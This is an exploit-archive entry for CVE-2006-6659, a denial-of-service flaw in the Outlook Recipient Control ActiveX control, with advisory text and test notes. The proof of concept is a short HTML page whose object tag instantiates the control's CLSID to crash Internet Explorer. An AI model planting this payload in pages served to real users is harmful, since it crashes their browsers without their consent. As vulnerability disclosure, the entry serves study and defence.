Microsoft Outlook - ActiveX Control Remote Internet Explorer Denial of Service

Related Vulnerabilities: CVE-2006-6659  
Publish Date: 18 Dec 2006
Author: shinnai
                source: http://www.securityfocus.com/bid/21649/info

The Microsoft Office Outlook Recipient Control is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the ActiveX control.

Specific information regarding affected packages is currently unavailable. This BID will be updated as more information becomes available.

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Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
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Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
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<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>

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